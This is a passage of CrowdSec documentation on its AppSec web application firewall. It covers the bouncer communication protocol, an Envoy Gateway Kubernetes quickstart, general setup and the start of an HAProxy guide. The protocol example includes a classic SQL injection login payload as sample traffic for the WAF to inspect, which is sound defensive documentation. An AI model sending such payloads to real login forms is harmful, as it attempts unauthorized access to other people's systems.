Guide](https://docs.crowdsec.net/u/getting_started/intro.md). ## Introduction[โ€‹](#introduction "Direct link to Introduction") Meet the CrowdSec **Application Security Component** (AppSec Component), which turns your CrowdSec install into a full-fledged **WAF**. The **AppSec Component** offers: * Low-effort **virtual patching**. * Support for legacy **ModSecurity** rules. * Classic WAF protection plus CrowdSec features for **advanced behavior detection**. * **Full integration** with the CrowdSec stack, including the console and remediation components. The component uses existing remediation hooks in web servers and reverse proxies (Nginx, Traefik, HAProxy, etc.) to provide web application firewall capabilities. ![appsec-global](/assets/images/appsec-global-c5612528cf7941d039788b547fd7c188.svg) ### How it works[โ€‹](#how-it-works "Direct link to How it works") 1. The web server receives the HTTP request. 2. The request is forwarded to the CrowdSec Security Engine over a local HTTP interface. 3. The engine evaluates the request against AppSec rules (in-band rules can block immediately). 4. Based on the result, the web server either blocks the request or processes it as usual. ### One WAF, many web servers[โ€‹](#one-waf-many-web-servers "Direct link to One WAF, many web servers") The AppSec Component lives in the **CrowdSec Security Engine**, so you get a single โ€œsource of truthโ€ for: * AppSec configurations and rules (collections from the Hub) * logging, alerting, and Console visibility This makes it easy to protect **multiple web servers / reverse proxies** with one CrowdSec instance: each remediation component forwards requests to the same AppSec `listen_addr`. Compared to WAFs embedded directly inside each web server, you donโ€™t have to duplicate rule and configuration updates across multiple locations: update the rules once in CrowdSec, and every connected remediation component benefits. Common gotchas * Installing rules is not enough: you must also enable the AppSec acquisition datasource and restart CrowdSec. * The remediation component must support AppSec forwarding, and must be configured to forward to the same `listen_addr` you set in the acquisition file. * In-band rules return an action for the current request (for example `ban`/`captcha`); longer-term bans are driven by scenarios and decisions. ## Supported Web Servers & Reverse Proxies[โ€‹](#supported-web-servers--reverse-proxies "Direct link to Supported Web Servers & Reverse Proxies") The AppSec Component works seamlessly with modern web servers and reverse proxies: ![Nginx](/img/nginx.svg) **Nginx**
[Quick Start Guide โ†’](https://docs.crowdsec.net/docs/next/appsec/quickstart/nginxopenresty.md) ![OpenResty](/img/openresty.png) **OpenResty**
[Quick Start Guide โ†’](https://docs.crowdsec.net/docs/next/appsec/quickstart/nginxopenresty.md) ![Traefik](/img/traefik.logo.png) **Traefik**
[Quick Start Guide โ†’](https://docs.crowdsec.net/docs/next/appsec/quickstart/traefik.md) **Envoy Gateway**
[Quick Start Guide โ†’](https://docs.crowdsec.net/docs/next/appsec/quickstart/envoy-gateway.md) ![HAProxy](/img/haproxy-logo.png) **HAProxy**
[Quick Start Guide โ†’](https://docs.crowdsec.net/docs/next/appsec/quickstart/haproxy_spoa.md) ![WordPress](/img/WordPress-logotype-wmark.png) **WordPress**
[Quick Start Guide โ†’](https://docs.crowdsec.net/docs/next/appsec/quickstart/wordpress.md) **Looking for other integrations?** Check out the [full list of remediation components](https://hub.crowdsec.net/browse/#remediation-components) on the CrowdSec Hub. We're constantly adding new integrations! ## Inband Rules and Out-Of-Band Rules[โ€‹](#inband-rules-and-out-of-band-rules "Direct link to Inband Rules and Out-Of-Band Rules") The AppSec component relies on rules to inspect HTTP requests: * Inband rules are meant to interrupt request processing * Out-Of-Band rules are non-blocking and are evaluated asynchronously ### In-band rule processing[โ€‹](#in-band-rule-processing "Direct link to In-band rule processing") The security engine first evaluates the inband rules, designed to identify and block specific requests.
Once these rules are evaluated, a response is relayed to the remediation component. This leads to two possible outcomes: 1. If an in-band rule is triggered, the remediation component returns a 403 or a captcha challenge to the requester, stopping processing. 2. Otherwise, the request will be normally processed ### Out-of-band rule processing[โ€‹](#out-of-band-rule-processing "Direct link to Out-of-band rule processing") In the background, the security engine will then evaluate the out-of-band rules. These rules do not impact performance or response time, as they are evaluated after the AppSec Component instructs the webserver to continue or stop processing the request. They are usually meant to detect repetitive unwanted behavior (for example, application spam, resource enumeration, scalping). When these rules trigger, they emit an event that the Security Engine processes like a log line. ## Post processing[โ€‹](#post-processing "Direct link to Post processing") When a request triggers one or more rules, either in the inband section (blocking) or out-of-band (non-blocking), several things happen: * Inband (blocking) rules will appear in your `cscli alerts list` (and thus in your [console dashboard](https://app.crowdsec.net)). * Inband and Out-Of-Band rules will trigger an internal crowdsec event that can be treated as any log lines. This lets scenarios leverage WAF rule events, such as extending a ban for an IP that triggers multiple virtual patching rules. ## Next steps[โ€‹](#next-steps "Direct link to Next steps") You can follow our quick start guides depending on your web server: * [Nginx/OpenResty](https://docs.crowdsec.net/docs/next/appsec/quickstart/nginxopenresty.md) * [Envoy Gateway](https://docs.crowdsec.net/docs/next/appsec/quickstart/envoy-gateway.md) * [Traefik](https://docs.crowdsec.net/docs/next/appsec/quickstart/traefik.md) * [HAProxy (SPOA)](https://docs.crowdsec.net/docs/next/appsec/quickstart/haproxy_spoa.md) * [WordPress](https://docs.crowdsec.net/docs/next/appsec/quickstart/wordpress.md) * [CrowdSec WAF with Nginx Reverse Proxy](https://docs.crowdsec.net/u/user_guides/waf_rp_howto.md) Or consider learning more about the AppSec capabilities: * **Rules**: [How to read, write and debug rules](https://docs.crowdsec.net/docs/next/appsec/rules_syntax.md) * **Scenarios**: [How to create scenarios that leverage the AppSec Component events](https://docs.crowdsec.net/docs/next/appsec/alerts_and_scenarios.md) * **Hooks**: [To customise behavior of the AppSec at runtime](https://docs.crowdsec.net/docs/next/appsec/hooks.md) * **Troubleshoot**: [How to troubleshoot the behavior of the AppSec Component](https://docs.crowdsec.net/docs/next/appsec/troubleshooting.md) * **AppSec Technical Details**: [For developers integrating with the AppSec Component](https://docs.crowdsec.net/docs/next/appsec/protocol.md) --- # WAF / Bouncer Communication Protocol warning This section is only relevant if you want to add support for the CrowdSec application security component in your own remediation component or directly at the application level. ## Introduction[โ€‹](#introduction "Direct link to Introduction") To interact with the CrowdSec application security component, a protocol need to be respected. The application security component expect some headers to be present in the HTTP request (in addition to the original HTTP headers and body) and according to the result, the application security component will respond differently. This documentation can be useful in case you want to write your own remediation component that interact with the CrowdSec application security component, or if you want to improve your existing one. ## HTTP Headers[โ€‹](#http-headers "Direct link to HTTP Headers") To work with the CrowdSec application security component, some HTTP headers are require, in addition to the other HTTP headers and the body of the original request. | Header Name | Description | | -------------------------------- | ------------------------------------------------------------------------------------ | | `X-Crowdsec-Appsec-Ip` | The Real IP address of the original HTTP request | | `X-Crowdsec-Appsec-Uri` | The URI of the original HTTP request | | `X-Crowdsec-Appsec-Host` | The Host of the original HTTP request | | `X-Crowdsec-Appsec-Verb` | The Method of the original HTTP request | | `X-Crowdsec-Appsec-Api-Key` | The API Key to communicate with the CrowdSec application security component | | `X-Crowdsec-Appsec-User-Agent` | The User-Agent of the original HTTP request | | `X-Crowdsec-Appsec-Http-Version` | The HTTP version used by the original HTTP request (in integer form `10`, `11`, ...) | note All requests forwarded by the remediation component must be sent via a `GET` request. However, if the HTTP request contains a body, a `POST` request must be sent to the Application Security Component. ### Example[โ€‹](#example "Direct link to Example") For this example: * A `POST` HTTP request has been made by the IP `192.168.1.1` to a website on `example.com`. * The Application Security Component listen on `http://localhost:4241/`. Original HTTP Request TEXTCOPY ``` POST /login HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 73 Connection: keep-alive Upgrade-Insecure-Requests: 1 username=admin' OR '1'='1' -- &password=password ``` HTTP Request sent to the application security component TEXTCOPY ``` POST / HTTP/1.1 Host: localhost:4241 X-Crowdsec-Appsec-ip: 192.168.1.1 X-Crowdsec-Appsec-Uri: /login X-Crowdsec-Appsec-Host: example.com X-Crowdsec-Appsec-Verb: POST X-Crowdsec-Appsec-Api-Key: X-Crowdsec-Appsec-User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0 User-Agent: lua-resty-http/0.17.1 (Lua) ngx_lua/10026 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 73 Connection: keep-alive Upgrade-Insecure-Requests: 1 username=admin' OR '1'='1' -- &password=password ``` ## Response Code[โ€‹](#response-code "Direct link to Response Code") According to the result of the processing of the HTTP request, the application security component will respond with a different HTTP code and body. | HTTP Code | Description | Body | | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------- | | `200` | The HTTP request is allowed | `{"action" : "allow"}` | | `403` | The HTTP request triggered one or more application security component rules | `{"action" : "ban", "http_status": 403}` or `{"action" : "captcha", "http_status": 403}` | | `500` | An error occurred in the application security component. The remediation component must support a `APPSEC_FAILURE_ACTION` parameter to handle this case | `null` | | `401` | The remediation component is not authenticated. It must use the same API Key that was generated to pull the local API request | `null` | In case of a `403` response, the body will contain the action to take and the HTTP status code to return to the client. --- # CrowdSec WAF QuickStart for Envoy Gateway ## Objectives[โ€‹](#objectives "Direct link to Objectives") This quickstart shows how to deploy the CrowdSec AppSec Component in Kubernetes and protect workloads exposed through [Envoy Gateway](https://gateway.envoyproxy.io/) using an external authorization service. At the end, you will have: * CrowdSec running in-cluster with the AppSec API listening on `7422` * A CrowdSec-compatible Envoy external auth service running in the cluster. This is the service Envoy calls during external authorization checks; it queries CrowdSec LAPI and AppSec, then tells Envoy whether the request should be allowed or denied. * `SecurityPolicy` resources attached to your `HTTPRoute` objects. In Envoy Gateway, a `SecurityPolicy` is the custom resource that enables external authorization for a `Gateway` or `HTTPRoute` and points Envoy to the auth backend. * `HTTPRoute` objects exposing your applications. In Gateway API, an `HTTPRoute` defines how HTTP requests for specific hostnames or paths are matched and forwarded to your backend `Service`. * Virtual patching and generic AppSec rules inspecting requests before they reach your backends ## Prerequisites[โ€‹](#prerequisites "Direct link to Prerequisites") 1. If you're new to the [AppSec Component](https://docs.crowdsec.net/docs/next/appsec/intro.md#introduction) or **W**eb **A**pplication **F**irewalls, start with the [Introduction](https://docs.crowdsec.net/docs/next/appsec/intro.md#introduction). 2. It is assumed that you already have: * A working **CrowdSec [Security Engine](https://docs.crowdsec.net/docs/next/intro.md)** installation. For a Kubernetes install quickstart, refer to [/u/getting\_started/installation/kubernetes](https://docs.crowdsec.net/u/getting_started/installation/kubernetes.md). * A working **Envoy Gateway** installation with the Gateway API CRDs and an accepted `GatewayClass`. * Existing `Gateway` / `HTTPRoute` resources exposing your applications. important For remediation to work correctly, CrowdSec must see the real client IP in the Envoy access logs, and the bouncer must evaluate requests against that same IP. If Envoy only logs an internal proxy, load balancer, or node IP, CrowdSec will create decisions for the wrong source and bouncing will not work as expected. In Kubernetes, make sure the Envoy service configuration preserves source IPs, for example by setting `externalTrafficPolicy: Local` instead of a setup that hides the original client IP. warning This integration currently relies on a community Envoy external auth bouncer, not on a first-party CrowdSec remediation component. The upstream project used in this guide is: * `kdwils/envoy-proxy-crowdsec-bouncer` ## Store the Envoy bouncer key in a Kubernetes secret[โ€‹](#store-the-envoy-bouncer-key-in-a-kubernetes-secret "Direct link to Store the Envoy bouncer key in a Kubernetes secret") For Envoy Gateway, a practical approach is to choose a fixed key, store it in a Kubernetes secret, and force `BOUNCER_KEY_envoy` from `lapi.env` with `valueFrom.secretKeyRef`. Create or update the secret used by CrowdSec LAPI: crowdsec-keys.yaml YAMLcrowdsec-keys.yamlCOPY ``` apiVersion: v1 kind: Secret metadata: name: crowdsec-keys namespace: crowdsec type: Opaque stringData: ENROLL_KEY: "" BOUNCER_KEY_envoy: "" ``` Apply it: SHCOPY ``` kubectl apply -f crowdsec-keys.yaml ``` Then reference `BOUNCER_KEY_envoy` from the CrowdSec Helm values: crowdsec-values.yaml YAMLcrowdsec-values.yamlCOPY ``` lapi: env: - name: BOUNCER_KEY_envoy valueFrom: secretKeyRef: name: crowdsec-keys key: BOUNCER_KEY_envoy ``` Apply the CrowdSec release again: SHCOPY ``` helm upgrade --install crowdsec crowdsec/crowdsec \ --namespace crowdsec \ --create-namespace \ -f crowdsec-values.yaml ``` ## Deploy CrowdSec with AppSec enabled[โ€‹](#deploy-crowdsec-with-appsec-enabled "Direct link to Deploy CrowdSec with AppSec enabled") Add this to the CrowdSec `values.yaml` to enable the AppSec acquisition datasource and load the default AppSec configuration: crowdsec-values.yaml YAMLcrowdsec-values.yamlCOPY ``` agent: acquisition: - namespace: envoy-gateway-system podName: envoy-default-* poll_without_inotify: true program: envoy env: - name: COLLECTIONS value: yanis-kouidri/envoy - name: DEBUG value: "true" appsec: acquisitions: - appsec_configs: - crowdsecurity/appsec-default labels: type: appsec listen_addr: 0.0.0.0:7422 path: / source: appsec enabled: true env: - name: COLLECTIONS value: crowdsecurity/appsec-virtual-patching crowdsecurity/appsec-generic-rules lapi: env: - name: BOUNCER_KEY_envoy valueFrom: secretKeyRef: key: BOUNCER_KEY_envoy name: crowdsec-keys ``` Apply or upgrade the CrowdSec release: SHCOPY ``` helm upgrade --install crowdsec crowdsec/crowdsec \ --namespace crowdsec \ --create-namespace \ -f crowdsec-values.yaml ``` Verify the CrowdSec pods: SHCOPY ``` kubectl -n crowdsec get pods kubectl -n crowdsec get svc crowdsec-service crowdsec-appsec-service ``` You should see: * `crowdsec-lapi` in `Running` * `crowdsec-appsec` in `Running` * `crowdsec-service` exposing port `8080` * `crowdsec-appsec-service` exposing port `7422` ## Deploy the Envoy external auth bouncer[โ€‹](#deploy-the-envoy-external-auth-bouncer "Direct link to Deploy the Envoy external auth bouncer") * Helm-Based Installation * Without Helm For the Helm-based install, keep the API key in a Kubernetes `Secret` and reference that secret from a user-managed `values.yaml` file. Create the secret holding the CrowdSec bouncer key: crowdsec-envoy-bouncer-secret.yaml YAMLcrowdsec-envoy-bouncer-secret.yamlCOPY ``` apiVersion: v1 kind: Secret metadata: name: crowdsec-envoy-bouncer-secrets namespace: envoy-gateway-system type: Opaque stringData: api-key: "" ``` Apply it: SHCOPY ``` kubectl apply -f crowdsec-envoy-bouncer-secret.yaml ``` Then create a values file: envoy-bouncer-values.yaml YAMLenvoy-bouncer-values.yamlCOPY ``` fullnameOverride: crowdsec-envoy-bouncer config: bouncer: lapiURL: http://crowdsec-service.crowdsec.svc.cluster.local:8080 apiKeySecretRef: name: crowdsec-envoy-bouncer-secrets key: api-key waf: enabled: true appSecURL: http://crowdsec-appsec-service.crowdsec.svc.cluster.local:7422 apiKeySecretRef: name: crowdsec-envoy-bouncer-secrets key: api-key securityPolicy: create: true gatewayName: shared-public gatewayNamespace: envoy-gateway-system ``` Install the chart: SHCOPY ``` helm install crowdsec-envoy-bouncer oci://ghcr.io/kdwils/charts/envoy-proxy-bouncer \ --namespace envoy-gateway-system \ --create-namespace \ -f envoy-bouncer-values.yaml ``` If you only want to deploy the bouncer and manage `SecurityPolicy` objects manually, omit the `securityPolicy.*` settings. Keep the bouncer API key in a Kubernetes secret in the namespace where your Envoy Gateway infrastructure runs. In this example, that namespace is `envoy-gateway-system`. crowdsec-envoy-bouncer-secret.yaml YAMLcrowdsec-envoy-bouncer-secret.yamlCOPY ``` apiVersion: v1 kind: Secret metadata: name: crowdsec-envoy-bouncer-secrets namespace: envoy-gateway-system type: Opaque stringData: api-key: "" ``` Apply the secret: SHCOPY ``` kubectl apply -f crowdsec-envoy-bouncer-secret.yaml ``` Then create the bouncer objects directly: crowdsec-envoy-bouncer.yaml YAMLcrowdsec-envoy-bouncer.yamlCOPY ``` apiVersion: apps/v1 kind: Deployment metadata: name: crowdsec-envoy-bouncer namespace: envoy-gateway-system spec: replicas: 1 selector: matchLabels: app.kubernetes.io/name: crowdsec-envoy-bouncer template: metadata: labels: app.kubernetes.io/name: crowdsec-envoy-bouncer spec: containers: - name: crowdsec-envoy-bouncer image: ghcr.io/kdwils/envoy-proxy-bouncer:v0.6.0 imagePullPolicy: Always ports: - name: grpc containerPort: 8080 protocol: TCP env: - name: ENVOY_BOUNCER_BOUNCER_ENABLED value: "true" - name: ENVOY_BOUNCER_BOUNCER_APIKEY valueFrom: secretKeyRef: name: crowdsec-envoy-bouncer-secrets key: api-key - name: ENVOY_BOUNCER_BOUNCER_LAPIURL value: http://crowdsec-service.crowdsec.svc.cluster.local:8080 - name: ENVOY_BOUNCER_WAF_ENABLED value: "true" - name: ENVOY_BOUNCER_WAF_APIKEY valueFrom: secretKeyRef: name: crowdsec-envoy-bouncer-secrets key: api-key - name: ENVOY_BOUNCER_WAF_APPSECURL value: http://crowdsec-appsec-service.crowdsec.svc.cluster.local:7422 - name: ENVOY_BOUNCER_SERVER_GRPCPORT value: "8080" - name: ENVOY_BOUNCER_SERVER_HTTPPORT value: "8081" - name: ENVOY_BOUNCER_SERVER_LOGLEVEL value: info --- apiVersion: v1 kind: Service metadata: name: crowdsec-envoy-bouncer namespace: envoy-gateway-system spec: selector: app.kubernetes.io/name: crowdsec-envoy-bouncer ports: - name: grpc port: 8080 targetPort: grpc protocol: TCP ``` Apply it: SHCOPY ``` kubectl apply -f crowdsec-envoy-bouncer.yaml ``` This path gives you full control over the generated objects, but you must keep the `Deployment`, `Service`, and `ReferenceGrant` aligned yourself. Verify the rollout: SHCOPY ``` kubectl -n envoy-gateway-system rollout status deploy/crowdsec-envoy-bouncer ``` ## Attach Envoy `SecurityPolicy` resources to `HTTPRoute`s[โ€‹](#attach-envoy-securitypolicy-resources-to-httproutes "Direct link to attach-envoy-securitypolicy-resources-to-httproutes") Envoy Gateway external auth is configured through `gateway.envoyproxy.io/v1alpha1` `SecurityPolicy` resources. note Attaching the `SecurityPolicy` to an `HTTPRoute` is usually better than attaching it to the `Gateway`. It keeps the policy scoped to one application route instead of every route on the shared entrypoint, which makes rollout, debugging, and multi-application setups easier to manage. Attach them at the `HTTPRoute` level: app-securitypolicy.yaml YAMLapp-securitypolicy.yamlCOPY ``` apiVersion: gateway.envoyproxy.io/v1alpha1 kind: SecurityPolicy metadata: name: crowdsec-ext-auth namespace: "" spec: targetRefs: - group: gateway.networking.k8s.io kind: HTTPRoute name: "" extAuth: failOpen: true grpc: backendRefs: - group: "" kind: Service name: crowdsec-envoy-bouncer namespace: envoy-gateway-system port: 8080 ``` Apply them: SHCOPY ``` kubectl apply -f app-securitypolicy.yaml ``` ## Allow cross-namespace references[โ€‹](#allow-cross-namespace-references "Direct link to Allow cross-namespace references") The Helm chart can create the required `ReferenceGrant` for you. In the example above, this is handled by: YAMLCOPY ``` apiVersion: gateway.networking.k8s.io/v1beta1 kind: ReferenceGrant metadata: name: crowdsec-ext-auth-backend namespace: envoy-gateway-system spec: from: - group: gateway.envoyproxy.io kind: SecurityPolicy namespace: default to: - group: "" kind: Service name: crowdsec-envoy-bouncer ``` If you do not let the chart manage `ReferenceGrant`, you must create an equivalent `ReferenceGrant` manually in `envoy-gateway-system`. ## Testing detection[โ€‹](#testing-detection "Direct link to Testing detection") ### Test the HTTP generic scenario[โ€‹](#test-the-http-generic-scenario "Direct link to Test the HTTP generic scenario") You can verify that CrowdSec is parsing Envoy logs correctly by triggering the `crowdsecurity/http-generic-test` dummy scenario. 1. Access your service URL with this path: `/crowdsec-test-NtktlJHV4TfBSK3wvlhiOBnl` SHCOPY ``` curl -I http:///crowdsec-test-NtktlJHV4TfBSK3wvlhiOBnl ``` 2. Confirm the alert has triggered for `crowdsecurity/http-generic-test`: SHCOPY ``` kubectl exec -n crowdsec -it $(kubectl get pods -n crowdsec -l k8s-app=crowdsec -l type=lapi -o name) -- cscli alerts list -s crowdsecurity/http-generic-test ``` warning If you trigger this scenario from a private ip, you won't see it trigger as it will be dismissed by the whitelist parser. ### Test the AppSec generic scenario[โ€‹](#test-the-appsec-generic-scenario "Direct link to Test the AppSec generic scenario") If AppSec forwarding is enabled, the same probe path also lets you verify the `crowdsecurity/appsec-generic-test` dummy scenario. 1. Access your service URL with this path: `/crowdsec-test-NtktlJHV4TfBSK3wvlhiOBnl` SHCOPY ``` curl -I http:///crowdsec-test-NtktlJHV4TfBSK3wvlhiOBnl ``` 2. Confirm the alert has triggered for `crowdsecurity/appsec-generic-test`: SHCOPY ``` kubectl exec -n crowdsec -it $(kubectl get pods -n crowdsec -l k8s-app=crowdsec -l type=lapi -o name) -- cscli alerts list -s crowdsecurity/appsec-generic-test ``` warning If you trigger this scenario from a private ip, you won't see it trigger as it will be dismissed by the whitelist parser. ## Important Notes[โ€‹](#important-notes "Direct link to Important Notes") ### Attach `SecurityPolicy` to `HTTPRoute`s, not just to the `Gateway`[โ€‹](#attach-securitypolicy-to-httproutes-not-just-to-the-gateway "Direct link to attach-securitypolicy-to-httproutes-not-just-to-the-gateway") For Envoy Gateway, route-level attachment is the safer pattern for this integration. Attaching the policy at the `Gateway` level can apply external auth to every routed application behind that listener, which increases the blast radius of a bad policy, a broken backend reference, or an unhealthy bouncer. Attaching it to individual `HTTPRoute`s keeps the rollout explicit and incremental: you can protect only the routes that should use CrowdSec, leave other traffic untouched, and troubleshoot one application at a time. ### Cross-namespace bouncer references still require `ReferenceGrant`[โ€‹](#cross-namespace-bouncer-references-still-require-referencegrant "Direct link to cross-namespace-bouncer-references-still-require-referencegrant") If your bouncer `Service` is in `envoy-gateway-system` and your applications live in other namespaces, `ReferenceGrant` is required. The ReferenceGrant has to correctly specify the crowdsec bouncer service. ### Use `failOpen: true` during rollout[โ€‹](#use-failopen-true-during-rollout "Direct link to use-failopen-true-during-rollout") If you apply a fail-closed external auth policy before the bouncer is healthy, Envoy will start rejecting traffic with `403` ### Check image architecture support[โ€‹](#check-image-architecture-support "Direct link to Check image architecture support") The community bouncer image is published for amd64. For other architectures you will need a custom build. ## Next steps[โ€‹](#next-steps "Direct link to Next steps") You are now running the AppSec Component on your CrowdSec Security Engine. As the next steps, you can: * Monitor WAF alerts in the [CrowdSec Console](https://app.crowdsec.net). * Review the [AppSec troubleshooting guide](https://docs.crowdsec.net/docs/next/appsec/troubleshooting.md) if you need to investigate or refine the deployment. * Explore [WAF deployment strategies](https://docs.crowdsec.net/docs/next/appsec/advanced_deployments.md), [rules syntax](https://docs.crowdsec.net/docs/next/appsec/rules_syntax.md), [rule creation](https://docs.crowdsec.net/docs/next/appsec/create_rules.md), and [benchmarks](https://docs.crowdsec.net/docs/next/appsec/benchmark.md) to go further. --- # CrowdSec WAF General Setup This guide covers the core AppSec Component setup that applies to all web servers and reverse proxies. After completing these steps, configure your remediation component (bouncer) to forward requests to the AppSec Component. ## Prerequisites[โ€‹](#prerequisites "Direct link to Prerequisites") * **CrowdSec Security Engine** (>= 1.5.6) installed and running * A compatible remediation component (bouncer) for your web server or reverse proxy ## AppSec Component Setup[โ€‹](#appsec-component-setup "Direct link to AppSec Component Setup") AppSec setup has two steps: * Download rules and configuration collections. * Configure AppSec as a new acquisition datasource ([AppSec datasource](https://docs.crowdsec.net/docs/next/log_processor/data_sources/appsec.md)). The following sections will guide you through the default setup. After installation, verify everything works with the [๐Ÿฉบ Health Check](https://docs.crowdsec.net/u/getting_started/health_check.md). ### Collection Installation[โ€‹](#collection-installation "Direct link to Collection Installation") Install the essential AppSec collections that provide virtual patching rules and generic attack detection: SHCOPY ``` sudo cscli collections install crowdsecurity/appsec-virtual-patching crowdsecurity/appsec-generic-rules ``` These collections include: * **Virtual Patching Rules**: Protection against known vulnerabilities (CVEs) * **Generic Attack Detection**: Common web attack patterns * **AppSec Configuration**: Default [AppSec configuration file](https://docs.crowdsec.net/docs/next/appsec/configuration.md) linking rules together * **CrowdSec Parsers & Scenarios**: For processing AppSec events and creating alerts ### Acquisition Configuration[โ€‹](#acquisition-configuration "Direct link to Acquisition Configuration") Configure CrowdSec to expose the AppSec Component by creating an acquisition file ([AppSec datasource](https://docs.crowdsec.net/docs/next/log_processor/data_sources/appsec.md)). 1. Create the acquisition directory (if it doesn't exist): SHCOPY ``` sudo mkdir -p /etc/crowdsec/acquis.d/ ``` 2. Create the AppSec acquisition configuration: SHCOPY ``` sudo cat > /etc/crowdsec/acquis.d/appsec.yaml << EOF appsec_configs: - crowdsecurity/appsec-default labels: type: appsec listen_addr: 127.0.0.1:7422 source: appsec name: myAppSecComponent EOF ``` **Configuration explained:** * `appsec_configs`: Uses the [AppSec configuration(s)](https://docs.crowdsec.net/docs/next/appsec/configuration.md) from the installed collections * `listen_addr`: IP and port where the AppSec Component listens (default: 127.0.0.1:7422) * `source`: Identifies this as an AppSec data source * `name`: A friendly name for your AppSec component Security Note Do not expose the AppSec Component to the internet. It should only be accessible from your web server or reverse proxy. ### Start the AppSec Component[โ€‹](#start-the-appsec-component "Direct link to Start the AppSec Component") Restart CrowdSec to activate the AppSec Component: SHCOPY ``` sudo systemctl restart crowdsec ``` ## Testing WAF Component[โ€‹](#testing-waf-component "Direct link to Testing WAF Component") ### Testing Configuration[โ€‹](#testing-configuration "Direct link to Testing Configuration") Check that the AppSec Component is running: * Netstat * SS SHCOPY ``` sudo netstat -tlpn | grep 7422 ``` SHCOPY ``` sudo ss -tlpn | grep 7422 ``` Output example SHCOPY ``` tcp 0 0 127.0.0.1:7422 0.0.0.0:* LISTEN 12345/crowdsec ``` note The output may look differently depending on which command you used but as long as you see the port and the process `crowdsec`, it means the AppSec Component is running. Check CrowdSec logs for successful startup: SHCOPY ``` sudo tail -f /var/log/crowdsec.log ``` Look for messages like: TEXTCOPY ``` INFO[...] Starting Appsec server on 127.0.0.1:7422/ INFO[...] Appsec Runner ready to process event ``` ## Next steps[โ€‹](#next-steps "Direct link to Next steps") Now that the AppSec Component is configured and running, you need to: 1. **Configure your remediation component** to forward requests to `http://127.0.0.1:7422` 2. **Test the setup** [by triggering a rule](#testing-detection) 3. **Monitor alerts** with `sudo cscli alerts list` or in the [CrowdSec Console](https://app.crowdsec.net) For specific remediation component configuration, see: * [Nginx/OpenResty Setup](https://docs.crowdsec.net/docs/next/appsec/quickstart/nginxopenresty.md) * [OpenResty Setup](https://docs.crowdsec.net/docs/next/appsec/quickstart/nginxopenresty.md) * [Traefik Setup](https://docs.crowdsec.net/docs/next/appsec/quickstart/traefik.md) * [HAProxy (SPOA) Setup](https://docs.crowdsec.net/docs/next/appsec/quickstart/haproxy_spoa.md) * [WordPress Setup](https://docs.crowdsec.net/docs/next/appsec/quickstart/wordpress.md) * [Check the hub for other remediation components supporting AppSec](https://app.crowdsec.net/hub/remediation-components) Once your remediation component is in place, continue with: * Reviewing the [AppSec troubleshooting guide](https://docs.crowdsec.net/docs/next/appsec/troubleshooting.md) if you need to investigate or refine the deployment. * Exploring [WAF deployment strategies](https://docs.crowdsec.net/docs/next/appsec/advanced_deployments.md) when you are ready to expand beyond the initial setup. ### Testing Detection[โ€‹](#testing-detection "Direct link to Testing Detection") If you've enabled an WAF-capable bouncer with CrowdSec WAF, you can trigger the `crowdsecurity/appsec-generic-test` dummy scenario. This scenario does not lead to a decision, but it is a good way to confirm the setup is working. Trigger the dummy scenario by accessing a probe path on your web server: 1๏ธโƒฃ Access your service URL with this path: `/crowdsec-test-NtktlJHV4TfBSK3wvlhiOBnl` SHCOPY ``` curl -I https:///crowdsec-test-NtktlJHV4TfBSK3wvlhiOBnl ``` 2๏ธโƒฃ Confirm the alert has triggered for `crowdsecurity/appsec-generic-test` SHCOPY ``` sudo cscli alerts list | grep crowdsecurity/appsec-generic-test ``` 3๏ธโƒฃ The alert will also appear in the Console alerts ![appsec-generic-test console view](/assets/images/appsec-generic-test-console-39bef8607ed94199fee42f2ffde09c50.png) info This scenario can only be triggered again after a 1-minute delay. ## Optional: Advanced Configuration[โ€‹](#optional-advanced-configuration "Direct link to Optional: Advanced Configuration") ### Multiple AppSec Configurations[โ€‹](#multiple-appsec-configurations "Direct link to Multiple AppSec Configurations") You can [load multiple AppSec configurations](https://docs.crowdsec.net/docs/next/appsec/configuration_creation_testing.md#defining-multiple-appsec-configurations) for different rule sets: YAMLCOPY ``` # /etc/crowdsec/acquis.d/appsec.yaml appsec_configs: - crowdsecurity/appsec-default # Virtual patching rules (in-band) - crowdsecurity/crs # OWASP CRS rules (out-of-band) labels: type: appsec listen_addr: 127.0.0.1:7422 source: appsec name: myAppSecComponent ``` ### Custom Port Configuration[โ€‹](#custom-port-configuration "Direct link to Custom Port Configuration") To use a different port, update the `listen_addr` in your acquisition file and ensure your remediation component points to the same address. ## Troubleshooting[โ€‹](#troubleshooting "Direct link to Troubleshooting") If the AppSec Component fails to start: 1. **Check port availability**: Ensure port 7422 isn't already in use 2. **Verify collections**: Run `sudo cscli collections list` to confirm installation 3. **Check configuration syntax**: Validate your `appsec.yaml` file 4. **Review logs**: Check `/var/log/crowdsec.log` for error messages For detailed troubleshooting, see the [AppSec Troubleshooting Guide](https://docs.crowdsec.net/docs/next/appsec/troubleshooting.md). --- # CrowdSec WAF QuickStart for HAProxy (SPOA) Protect web applications running behind [HAProxy](https://www.haproxy.org/) with CrowdSec's [AppSec (WAF) Component](https://docs.crowdsec.net/docs/next/appsec/intro.md#introduction), using the HAProxy SPOA remediation component to forward HTTP requests. ## Prerequisites[โ€‹](#prerequisites "Direct link to Prerequisites") Make sure the following are already done on the machine running HAProxy (each is a single-page install guide): 1. **CrowdSec Security Engine** installed and running โ€” see the [Linux quickstart](https://docs.crowdsec.net/u/getting_started/installation/linux.md). 2. **HAProxy** already running and proxying your application(s). 3. **HAProxy SPOA bouncer** (`crowdsec-haproxy-spoa-bouncer`) installed and registered against the CrowdSec LAPI. See the [SPOA bouncer guide](https://docs.crowdsec.net/u/bouncers/haproxy_spoa.md). ## 1. Install the AppSec rule collections[โ€‹](#1-install-the-appsec-rule-collections "Direct link to 1. Install the AppSec rule collections") SHCOPY ``` sudo cscli collections install \ crowdsecurity/appsec-virtual-patching \ crowdsecurity/appsec-generic-rules ``` This pulls the 